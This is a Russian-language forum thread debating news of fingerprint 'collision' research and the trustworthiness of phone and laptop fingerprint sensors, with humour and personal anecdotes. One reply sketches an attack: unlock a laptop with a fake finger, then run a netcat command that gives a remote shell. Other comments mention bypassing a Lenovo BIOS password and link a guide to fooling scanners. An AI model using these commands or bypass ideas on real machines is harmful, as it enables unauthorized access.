| 1.1, Аноним (-), 11:10, 12/05/2017 [ответить] [﹢﹢﹢] [ · · · ]
| +59 +/– |
Половина телефонов не разблокируется и по родному пальцу, а тут такое дело.
| | |
| |
| 2.11, нах (?), 12:04, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– | |
> Половина телефонов не разблокируется и по родному пальцу, а тут такое дело.
что-то новость желтизной отдает (оригинал, я имею в виду) - ссылок на само исследование нет (то есть есть такая, которую нельзя почитать не за многоденьгов), что за модели они тестировали - не признаются.
| | |
| |
| 3.36, Аноним (-), 13:07, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
Уже все, засекречено. Ну там национальные интересы, NSA и все такое ...
| | |
| 3.45, Аноним (-), 13:55, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
> ссылок на
> само исследование нет (то есть есть такая, которую нельзя почитать не
> за многоденьгов)
Разуй глаза и узрей прямую ссылку на pdf.
| | |
| |
| 4.52, нах (?), 15:12, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
ффак - я-то ее искал в оригинале статьи...
фффак эгайн - мои гласссссски...
похоже, они вообще не пытались применить технологию на практике, чисто теоретическое исследование с лабораторным сенсором?
P.S. кому жалко глаза - учтите, capacitive сенсоры признаны более надежными, чем оптические (разумеется, при неведомым образом выбранных параметрах)
| | |
| 4.81, Аноним (-), 20:46, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– | |
> Разуй глаза и узрей прямую ссылку на pdf
Могли б ссылки большими выделениями в тексте.
| | |
|
|
| |
| 3.54, нах (?), 15:13, 12/05/2017 [^] [^^] [^^^] [ответить]
| +6 +/– | |
> Блин, я руки помою и датчик не принимает отпечаток!!!!!!!!
ну так надо было либо мытые сканировать, либо на минутку снова засунуть в жoпу, тоже мне, проблема.
| | |
|
|
| |
| 2.5, Аноним (-), 11:24, 12/05/2017 [^] [^^] [^^^] [ответить]
| +55 +/– |
Теперь необязательно отрубать пальцы именно у владельца смартфона. Достаточно иметь связку из десятка отрубленных пальцев с наиболее типичными фрагментами отпечатков.
| | |
| 2.39, Аноним (-), 13:11, 12/05/2017 [^] [^^] [^^^] [ответить]
| +2 +/– | |
с вероятностью 0.26 - 0.65 не придется
// сделал вид что я первый
| | |
| |
| 3.55, Аноним (-), 15:14, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
Таймер поста то не обманешь, ладно бы, если у оратора выше десяток минут разницы было бы ...
| | |
|
| 2.85, Аноним (-), 22:17, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
Да, можно не отрубать. И сходи извинись перед теми, кого ты повстречал до прочтения этой новости.
| | |
|
| 1.3, Аноним (-), 11:21, 12/05/2017 [ответить] [﹢﹢﹢] [ · · · ]
| +3 +/– |
Перестал пользоваться датчиками отпечатков, после того как на неделю остался без доступа, нечаянно замарав палец суперклеем и слишком активно пытаясь его оттереть :-)
| | |
| |
| |
| |
| Часть нити удалена модератором |
| 4.18, Аноним (-), 12:39, 12/05/2017 [^] [^^] [^^^] [ответить]
| +2 +/– |
Это вам повезло, тут пришлось контакты замыкать на плате (благо накосячили в леново с безопасностью, хитросинхронизированные с закрузкой замыкания позволяют основной пароль сломать).
А ещё у них был баг, который приводил к выставлению данного пароля, ставишь систему всё работает прекрасно, а через пару лет обнаруживаешь, что переставить на другую невозможно :)
| | |
| 4.19, iPony (?), 12:40, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– | |
> Причем у леновы - хороший, был сканер, распечаткой на лазернике его обмануть не очень-то получалось.
А какой можно? Подобное я видел в Разрушителей Мифов. Но там и сканер у ноутбука был этак из начала 2000ых наверно.
| | |
| |
| 5.31, пох (?), 13:03, 12/05/2017 [^] [^^] [^^^] [ответить]
| +1 +/– | |
> А какой можно?
ну мы, собственно, с леновой и развлекались - получалось очень нестабильно и неудобно (там же еще сканер не активируется, пока не учует палец, а через пленку он его не очень-то чует)
| | |
| 5.111, А.Нонимус (?), 23:48, 17/05/2017 [^] [^^] [^^^] [ответить]
| +/– | |
> Но там и сканер у ноутбука был этак из начала 2000ых наверно.
Палишься. Посмотри на даты постов вокруг - у них тут как раз начало этого тысячелетия.
| | |
|
| |
| 5.29, iPony (?), 12:59, 12/05/2017 [^] [^^] [^^^] [ответить]
| –1 +/– | |
> Wipe же есть, фигли его разблокировать понадобилось?
И защита от вайпа тоже есть.
| | |
| 5.35, пох (?), 13:05, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– | |
> Wipe же есть, фигли его разблокировать понадобилось?
как только пароль введешь, так и будет доступ к wipe ;-)
Что, в принципе, совершенно правильно, как и привычка к тотальному шифрованию диска, невосстановимому даже при всех паролях, если сдохла материнка.
| | |
| |
| 6.50, Аноним (-), 14:36, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– | |
> как только пароль введешь, так и будет доступ к wipe ;-)
Что, уже и на рекавери пароль ставить стали? Что-то не видал такого.
| | |
| |
| |
| 8.63, Аноним (-), 16:10, 12/05/2017 [^] [^^] [^^^] [ответить] | –1 +/– | Не знал Непонятно только, почему автор статьи преподности это как защиту персо... текст свёрнут, показать | | |
| |
| 9.65, пох (?), 16:25, 12/05/2017 [^] [^^] [^^^] [ответить] | –1 +/– | потому что только их оно и защищает устройство защиты от кражи - это цепь, кото... текст свёрнут, показать | | |
|
|
| 7.77, Аноним (-), 18:40, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
>> как только пароль введешь, так и будет доступ к wipe ;-)
> Что, уже и на рекавери пароль ставить стали? Что-то не видал такого.
Вы играете в испорченный телефон? Он сказал, что после разблокировки телефона у тебя будет доступ к сбросу. Сейчас посмотрел в своём айфоне, там 6 вариантов сброса телефона, пробовать ессно не стал, но, думаю, что пароль от icloud он попросит, а это не то же самое, что пин разблокировки. Иначе все было бы слишком просто для айфона.
| | |
| |
| 8.86, Аноним (-), 00:02, 13/05/2017 [^] [^^] [^^^] [ответить] | +/– | Дядя, ты тут откуда такой богатый Здесь все нищеёбы, откуда нам про айфоны что-... текст свёрнут, показать | | |
|
|
|
|
| 4.44, dmitrmax (ok), 13:41, 12/05/2017 [^] [^^] [^^^] [ответить]
| +3 +/– |
 Все те девайсы, которые я держал и которые имели дактилоскопические сканнеры, всё равно периодически требуют ввода кода. Так что забыть его должно быть сложно.
| | |
| |
| 5.58, нах (?), 15:28, 12/05/2017 [^] [^^] [^^^] [ответить]
| +1 +/– | |
> Все те девайсы, которые я держал и которые имели дактилоскопические сканнеры, всё
ты никогда не держал в руках ноут? ;-)
> равно периодически требуют ввода кода. Так что забыть его должно быть
> сложно.
китайскофон вроде вполне счастлив без кода. хз что они для этого сделали.
"нёх" у меня, понятно, нету, яблофон да, докапывается при каждой перезагрузке.
| | |
| |
| 6.71, Аноним (-), 18:03, 12/05/2017 [^] [^^] [^^^] [ответить]
| –1 +/– | |
> яблофон да, докапывается при каждой перезагрузке.
И если сутки не разблокировал, тоже код спросит. Ну так, "ненавистные" яблоки как всегда тащат силком своих пользаков в загончик безопасности. Вон, перевели всех на двухфакторную авторизацию в icloud по-умолчанию, кто хочет, теперь должен отключить её руками. Заботятся о пользователях. Я доволен.
| | |
|
|
|
| 3.21, Аноним (-), 12:43, 12/05/2017 [^] [^^] [^^^] [ответить]
| +3 +/– |
Просто у него никогда не было смарта со сканером отпечатка, а может и вообще смарта никогда не было, он только читал там про это где-то чего-то (на 4пдашечке же!), вот он и облажался выпендрившись. Тут с местными икспердами по современным технологиям такое часто случается.
| | |
|
|
| |
| 2.9, . (?), 11:59, 12/05/2017 [^] [^^] [^^^] [ответить]
| +4 +/– | |
> образцы для сетчатки глаза скоро подвезут?
ожерелье из выковырянных глазиков хочешь набрать?
| | |
|
| |
| 2.15, XoRe (ok), 12:30, 12/05/2017 [^] [^^] [^^^] [ответить]
| –1 +/– |
 > Обнаружены коллизии отпечатков пальцев :)
Мне отпечатки пальцев всегда напоминали эллиптические кривые, у которых не должно быть коллизий
| | |
| 2.16, Какаянахренразница (ok), 12:31, 12/05/2017 [^] [^^] [^^^] [ответить]
| +3 +/– |
 Отправь боженьке багрепорт и патч с улучшенным алгоритмом генерации отпечатков. Если ему понравится, после смерти примет тебя в IT-отдел рая.
| | |
| |
| 3.34, Аноним (-), 13:05, 12/05/2017 [^] [^^] [^^^] [ответить]
| +4 +/– |
Смотри ща до оскорбляешь "чувства верующих" и загремишь как тот блоггер :D
| | |
| |
| 4.64, Michael Shigorin (ok), 16:20, 12/05/2017 [^] [^^] [^^^] [ответить]
| –4 +/– |
 > Смотри ща
Да ладно, можно ведь просто отправиться доставлять патч самостоятельно... (это если вообще хватит понимания его написать)
| | |
| |
| 5.67, пох (?), 16:27, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– | |
> хватит понимания его написать)
гугль поможет (подсказка - китайцы давно вовсю пользуются. Правда, их иногда на этом ловят.)
| | |
|
| 4.73, Аноним (-), 18:14, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– | |
> Смотри ща до оскорбляешь "чувства верующих" и загремишь как тот блоггер :D
И тут же под тобой нарисовался, кто-бы ты думал! Наш всеми любимый агент ЦГБ - Церковной ГБ. Ну, он там совмещает, канеш.
| | |
|
| 3.37, пох (?), 13:09, 12/05/2017 [^] [^^] [^^^] [ответить]
| +2 +/– | |
> Отправь боженьке багрепорт и патч с улучшенным алгоритмом генерации отпечатков.
осторожно, канал прослушивает аццкий сотона.
Если ему не понравится - после смерти ВЕЧНО будешь обслуживать технологическую программу по мониторингу температуры в котлах, написанную на 1С с плагином на node.js
| | |
| |
| 4.41, Аноним (-), 13:13, 12/05/2017 [^] [^^] [^^^] [ответить]
| +1 +/– |
> написанную на 1С с плагином на
> node.js
Пару лет будешь плеваться, а потом плюнешь, перепишешь и заменишь. Получишь повышение до программиста в аду. Неплохо.
| | |
| |
| 5.83, анон (?), 21:59, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
>> написанную на 1С с плагином на
>> node.js
> Пару лет будешь плеваться, а потом плюнешь, перепишешь и заменишь. Получишь повышение
> до программиста в аду. Неплохо.
Не, для повышения нужно на какой-нибудь более адовой смеси технологий. Например, node.js + Postgres + MS Access 32bit через ODBC на 64bit Windows
| | |
| |
| 6.100, Crazy Alex (ok), 15:59, 13/05/2017 [^] [^^] [^^^] [ответить]
| +1 +/– |
 Приложение мегабайт на триста в исходниках из макаронного кода на PHP (или тех же сях)...
Впрочем, что боженька был бы крайне хреновым разработчиком - не то, чтобы новость.
| | |
| |
| 7.109, PnDx (ok), 11:25, 17/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
 "Show me your code"
Вы уже́ готовы похвастаться своей отказоустойчивой системой с межсервисным интервалом 10+ тыс. лет?
| | |
|
|
|
|
|
|
| 1.17, iPony (?), 12:34, 12/05/2017 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
А есть у кого горячие истории о том, как дал свой смартфон другу, а он раз, и разблокировал своим пальцем?
| | |
| |
| 2.24, Аноним (-), 12:46, 12/05/2017 [^] [^^] [^^^] [ответить]
| –1 +/– | |
Чистые китай(мусоро)фоны с "ну очень быстрыми" сканерами отпечатков? Такие здесь любят, да.
| | |
| |
| 3.27, Аноним (-), 12:52, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
> Чистые китай(мусоро)фоны с "ну очень быстрыми" сканерами отпечатков? Такие здесь любят,
> да.
В не самых дешёвых китайфонах сканеры как раз довольно большой площади. Так что просьба предоставить пруфы, что они лажают.
| | |
| |
| |
| 5.38, Crazy Alex (ok), 13:10, 12/05/2017 [^] [^^] [^^^] [ответить]
| +1 +/– |
Ну совершенно очевидная же заказуха, даже если большую часть статьи не прочтёшь - с первого абзаца буквально всё понятно.
| | |
| 5.40, пох (?), 13:12, 12/05/2017 [^] [^^] [^^^] [ответить]
| +1 +/– | |
> Ну вот про Meizu https://xakep.ru/2017/04/11/uncert-android-security/
для почитания хотят подписку
> PS: олсо, пишу как раз с такого не самого дешёвого - 40000
и чего - сколько пальцев прохожим пришлось отрезать, пока не совпало?
Или ты там за что-то другое переживаешь, типа привычки хранить bmp с этими отпечатками прямо на нешифрованном разделе?
| | |
|
|
|
|
| |
| |
| |
| 4.74, Аноним (-), 18:18, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– | |
> Зонд анальный не тревожит? Уже привык?
Не переносите свои нескончаемые фантомные анальные переживания на остальных. Не все страдают вашей анальной паранойей по любому поводу.
| | |
|
|
| 2.33, Аноним (-), 13:04, 12/05/2017 [^] [^^] [^^^] [ответить]
| +1 +/– | |
> Может будут убирать с телефонов эти ненавистные сканеры.
У меня есть старый планшет без сканера и более новый телефон со сканером. На обоих одни и те же программы с возможностью его использовать. И как же лятть я мучаюсь на планшете с этими паролями и пинами!
Уверен, что НЕ "будут убирать с телефонов эти ненавистные сканеры". Потому что это очень удобно.
| | |
| |
| 3.56, Аноним (-), 15:24, 12/05/2017 [^] [^^] [^^^] [ответить]
| –1 +/– |
Ну что-же, бегите с удобством в свой цифровой концлагерь. Ради такого удобства все там и будете.
| | |
| |
| 4.61, Аноним84701 (ok), 15:51, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
 > Ну что-же, бегите с удобством в свой цифровой концлагерь. Ради такого удобства все там и будете.
Ну вот я пользуюсь уже лет десять (в тинкпады их уже давно встраивают).
Очень удобно на десктопе для того же su/sudo или для разблокировки после сна, хватает простого "auth sufficient pam_fprintd.so" в PAM и вместо нудного вбивания паролей достаточно провести пальцем по считывалке.
Данные хранятся в ~/.fprint, ну и скорее всего, в самом сканере.
Это просто дополнительный метод аутентификации, не требующий каких-то паролей в открытом виде (в отличие от "грамотно спроектированных систем и софта", привет с джиням.длл и окошкам, как минимум, вплоть до седьмой версии :) ). В чем тут "цифровой концлагерь" -- не ясно. Мусью слышал звон, да не засек, откуда он?
| | |
| |
| 5.66, Michael Shigorin (ok), 16:26, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– | |
> Ну вот я пользуюсь уже лет десять (в тинкпады их уже давно встраивают).
Когда там в багтраке пробегала демонстрация аутентификации по холодному отпечатку -- не помню уже, а только идея оставлять "пароль" на всей полированной мебели мне как-то изначально показалась непривлекательной.
| | |
| |
| 6.72, Аноним84701 (ok), 18:07, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
>> Ну вот я пользуюсь уже лет десять (в тинкпады их уже давно встраивают).
> Когда там в багтраке пробегала демонстрация аутентификации по холодному отпечатку -- не
> помню уже,
*пожимая плечами* Да в курсе я, в курсе.
Вот, пожалуйста:
http://www.instructables.com/id/How-To-Fool-a-Fingerprint-Security-System-As-
> а только идея оставлять "пароль" на всей полированной мебели
> мне как-то изначально показалась непривлекательной.
По моему, вы слишком категоричны.
Еще раз: это НЕ пароль. Не стоит путать теплое с мягким.
Моим отпечатком вы _не расшифруете_ хомяк и не подмените мои мастер-пароли в claws/keepass/GPG.
А еще, требуется качественный отпечаток плюс физический доступ к машинке, т.е. нужно хорошенько пошариться у меня дома (и если кто-то готов на это пойти, то возможность разблокировки экрана злоумышленником будет самой меньшей из моих проблем. Тем более, тогда можно вспомнить про скрытые камеры, прослушки и аппаратные кейлоггеры вкупе с ректальным криптоанализом) или совершить кучу не менее подозрительных телодвижений на рабочем месте, причем, с сомнительным результатом.
Поэтому да, чисто теоретически оно обходится. А на практике, в _моих_ юзкейзах и, что не менее важно, окружении – особо не влияет на безопасность.
| | |
| |
| 7.80, пох (?), 20:40, 12/05/2017 [^] [^^] [^^^] [ответить]
| +1 +/– | |
> Вот, пожалуйста:
оно очень ненадежное - и только для оптического сенсора, которые нынче немодно.
>> а только идея оставлять "пароль" на всей полированной мебели
>> мне как-то изначально показалась непривлекательной.
хуже - на той самой мобиле/ноуте(у кого там еще не сенсорный экран - тот лох) которую у тебя и отжали.
> Еще раз: это НЕ пароль. Не стоит путать теплое с мягким.
> Моим отпечатком вы _не расшифруете_ хомяк и не подмените мои мастер-пароли в
> claws/keepass/GPG.
блин, ну а нафиг он нужен-то тогда, если это не sso, а какая-то бесполезная хрень?
> проблем. Тем более, тогда можно вспомнить про скрытые камеры, прослушки и
ну вот смысл отпечатков отчасти как раз в том, что они слегка нивелируют ничем не скрытые камеры (на меня вон, четыре смотрит. Смотрите-смотрите, лохи. Дро..у -то я под столом!)
(интересно, кому-то уже удавалось надежно стырить отпечаток прямо через камеру? В принципе-то, его хорошо видно)
> аппаратные кейлоггеры вкупе с ректальным криптоанализом) или совершить кучу не
> менее подозрительных телодвижений на рабочем месте, причем, с сомнительным
0. ждем твоего похода в сортир
1. прикладываем поддельный палец
2. nc -l highport | sh & clear
- чего тут куча и подозрительного?
> результатом.
да ну нафиг, ты через пять минут сольешь все свои секретные пароли сам - еще, может, к чему вне твоего ебеме подойдут?
> Поэтому да, чисто теоретически оно обходится. А на практике, в _моих_ юзкейзах
> и, что не менее важно, окружении – особо не влияет на
> безопасность.
на практике можно и ипхон не запирать - в конце-концов, все равно вряд ли пацаньчики его вернут.
| | |
| 7.92, Аноним (-), 09:36, 13/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
> Тем более, тогда можно вспомнить про скрытые камеры, прослушки и
> аппаратные кейлоггеры вкупе с ректальным криптоанализом) или совершить кучу не
> менее подозрительных телодвижений на рабочем месте, причем, с сомнительным результатом.
А кто первый встал, того и тапки!
| | |
|
|
|
|
|
| 2.43, пох (?), 13:16, 12/05/2017 [^] [^^] [^^^] [ответить]
| +1 +/– | |
> Может будут убирать с телефонов эти ненавистные сканеры.
жвачкой залепи, всегда так делаем.
Камеры-то, надеюсь, уже скотчем заклеил?
| | |
|
| |
| 2.48, KOT040188 (ok), 14:17, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
 Я попытался после покупки смарта. Задал отпечаток, сходил в душ — не принимает. Задал снова, лёг спать. На утро — не принимает.
| | |
| |
| 3.53, Аноним (-), 15:13, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
> Я попытался после покупки смарта. Задал отпечаток, сходил в душ — не
> принимает. Задал снова, лёг спать. На утро — не принимает.
Очевидно, что это типичная ситуация на той категории смартфонов, которые предпочитают читатели opennet.
| | |
| |
| 4.60, пох (?), 15:36, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– | |
> Очевидно, что это типичная ситуация на той категории смартфонов, которые предпочитают
ващета нет - это у него новый-модный capacitive сенсор, а не оптика, ту мытьем не обманешь.
| | |
|
|
| 2.57, Crazy Alex (ok), 15:27, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
А чего нет? Ну да, принимает не всегда - ну так на то пароль/паттерн есть. Но обычно таки принимает, и это удобно.
| | |
|
| 1.68, Аноним (-), 17:01, 12/05/2017 [ответить] [﹢﹢﹢] [ · · · ]
| +/– | |
Нужно быть последним uдuотом, чтобы использовать этот метод для разблокировки.
У вас весь телефон в своих собственных отпечатках.
Биометрия, которая снимается удалённо - это не биометрия, а профанация. Лицо и радужка туда же.
// b.
| | |
| |
| 2.70, Crazy Alex (ok), 18:02, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
Абюсолютное большинство людей защищается не от ЦРУ и даже не от злобных рпомышенных шпионов, а от жены/ребёнка/родителей/соседа/любопытного коллеги. Отпечаток пальцев в этом плане идеален - быстро и ненапряжно.
| | |
| |
| 3.78, Аноним (-), 19:02, 12/05/2017 [^] [^^] [^^^] [ответить]
| –1 +/– | |
А я таки выбираю Dropbox по причине того, что там Гандализа в совете директоров, а она ФСБ (ясен пень) не отдаст ни пяди! Бойся того кто реально(!) может тебе навредить.
| | |
| |
| 4.79, пох (?), 20:14, 12/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
жена, сосед, не говоря уже об этих вот сволочах, которые окружают - вполне могут навредить. Реально! (еще потом и в ФСБ настучат)
И, что самое скверное, некоторые из них вполне в состоянии прочитать предложенную статью, вот что страшно. Я, правда, надеюсь, что настричь 26%ных пальцев с аутсорсеров им слабО, а технику обмана не-оптических сенсоров они все же не осилят.
| | |
| 4.99, Crazy Alex (ok), 15:56, 13/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
Кто реально может навредить - тот найдёт как. Но таких мало. А защищаться от излишнего любопытства - норма. Ну примерно как занавески на окнах, чтобы с улицы не подглядывали - на защиту от специальной аппаратуры они не рассчитаны, потому что цель другая.
| | |
|
| |
| 4.97, Crazy Alex (ok), 15:50, 13/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
Разумеется. Отпечаток пальца просто уменьшает количество мороки - мину секунда на разблокировку, что для смартфона, в общем-то, важно - быстро что-то глянуть на нём - норма.
| | |
|
|
| 2.88, Аноним (-), 00:15, 13/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
> Биометрия, которая снимается удалённо - это не биометрия, а профанация. Лицо и
> радужка туда же.
А бывает "биометрия, которая биометрия"?
| | |
| |
| 3.89, Аноним (-), 00:19, 13/05/2017 [^] [^^] [^^^] [ответить]
| +/– | |
Да, 86 млрд нейронов в мозгу - самая лучшая.
Никакие современные методы не могут извлекать оттуда информацию так, чтобы вы этого не знали.
// b.
| | |
| |
| 4.95, Аноним (-), 12:18, 13/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
> Да, 86 млрд нейронов в мозгу - самая лучшая.
> Никакие современные методы не могут извлекать оттуда информацию так, чтобы вы этого
> не знали.
> // b.
Припоминая сколько уже было модных стартапов про "управление курсором мыши во сне",
"раннюю диагностику альцгеймера по МРТ" и прочие безконтактные энцефалограммы,
интересно предположить, сколько лет осталось, когда таки смогут?..
Ведь все-то 86 млрд и не надо.
| | |
| |
| 5.98, Crazy Alex (ok), 15:53, 13/05/2017 [^] [^^] [^^^] [ответить]
| –1 +/– |
ну вот тогда и будет нормальная авторизация - имплантируем в палец чип с NFC, врубающийся по мысленной команде (и питающийся глюкозой) - и вот оно, счастье, и просто в использовании и надёжно.
| | |
|
|
|
|
| 1.104, Аноним (-), 06:08, 14/05/2017 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
После того как на работе поставили сканер отпечатков пальцев и стали штрафовать за опоздания, уже в первую неделю нашли способ делать поддельные отпечатки. Кто приходил первым - сканировал "отпечатки" остальных. Пришлось ставить видеокамеру и заставлять каждого улыбаться в неё.
| | |
| |
| 2.105, Michael Shigorin (ok), 15:34, 16/05/2017 [^] [^^] [^^^] [ответить]
| +/– | |
> Пришлось ставить видеокамеру и заставлять каждого улыбаться в неё.
И много вас особо умных осталось в такой шараге работать?
| | |
| |
| 3.107, Kirril_91 (ok), 00:53, 17/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
 >> Пришлось ставить видеокамеру и заставлять каждого улыбаться в неё.
> И много вас особо умных осталось в такой шараге работать?
Если платят хорошо, то можно и по улыбаться, чего же сразу увольняться
| | |
|
|
| 1.108, pavlinux (ok), 03:43, 17/05/2017 [ответить] [﹢﹢﹢] [ · · · ]
| +/– |
 Смарите, доиграетесь, через 10 лет будете стоя на коленях умолять смарт отправить СМСку.
| | |
| |
| 2.110, Kirril_91 (ok), 17:17, 17/05/2017 [^] [^^] [^^^] [ответить]
| +/– |
> Смарите, доиграетесь, через 10 лет будете стоя на коленях умолять смарт отправить
> СМСку.
Если вообще будет кому стоять... А то как в фильмах, ИИ посчитает людей лишними)
| | |
|
|
